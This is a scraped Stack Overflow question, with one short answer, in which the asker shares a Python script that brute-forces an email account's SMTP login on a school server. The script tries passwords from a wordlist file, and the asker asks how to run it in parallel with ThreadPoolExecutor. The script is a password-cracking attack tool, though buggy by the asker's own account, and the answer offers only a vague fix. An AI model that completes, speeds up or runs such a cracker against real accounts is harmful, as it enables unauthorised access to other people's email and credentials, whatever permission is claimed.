Parallel compute task to brute-force in python

﹥>﹥吖頭↗ 提交于 2019-12-12 03:22:41

问题


/* This is not for anything illegal just that my school only uses 7 integers, and I want to see if I can get this to work in time as currently I need 1.59 years to crack a password. The school has it's own private server on site for anyone concerned and it's easily detectable. I'll do this only to me or my friends with their permission .*/

I just wanted to use multi processing or concurrent.futures to make this password cracker run in reasonable time.

Here is my attempt at paralleling it

import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
    print("Got to here3")
    smtpserver.connect('private_email_server', 587)
    smtpserver.ehlo()
    smtpserver.starttls()
    print("OK going to main")
    main()
def main():
    for password in passwfile.readlines():
        password = password.strip()
        print("Go to here1")
        try:
            print("WELL AT LEAST WE GOT HERE")
            smtpserver.login('myemail@private_email.com', password)
            a = password
            with open('pass.txt','w') as bc:
                bc.write(a)
            print ("[+] Password cracked----> %s" % password)
            input()
            break
        except smtplib.SMTPAuthenticationError:
            print("[-] Wrong --> %s" % password)   
            pass
        except:
            print("Got to here2")
            conn()
if __name__ == '__main__':


    passwfile = open('per.txt', 'r')
    smtpserver = smtplib.SMTP()

    with ThreadPoolExecutor(max_workers=3) as exe:
        exe.submit(conn)

This actually works only if the password is in the first line it, it only outputs the indicators i wrote on there like print ("Got to here3") It doesn't print the cracked password or even write it to a text file.


回答1:


Have you tried

with ThreadPoolExecutor as exe:
    exe.submit(conn)

It maybe that you aren't actually connected to the server



来源:https://stackoverflow.com/questions/33513017/parallel-compute-task-to-brute-force-in-python

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!